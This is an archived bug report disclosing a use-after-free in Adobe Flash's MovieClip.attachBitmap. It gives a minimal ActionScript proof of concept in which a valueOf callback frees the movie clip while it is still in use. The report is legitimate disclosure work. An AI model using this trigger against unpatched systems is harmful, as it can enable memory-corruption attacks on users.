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Adobe Flash: Use-after-free in MovieClip.attachBitmap #593

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is 
an object with valueOf defined, this method can free the MovieClip, which is 
then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){

    mc.removeMovieClip();

        // Fix heap here

        return 5;

    }

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 15 Oct 2015 at 10:13

Attachments:

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 17 Dec 2015 at 11:15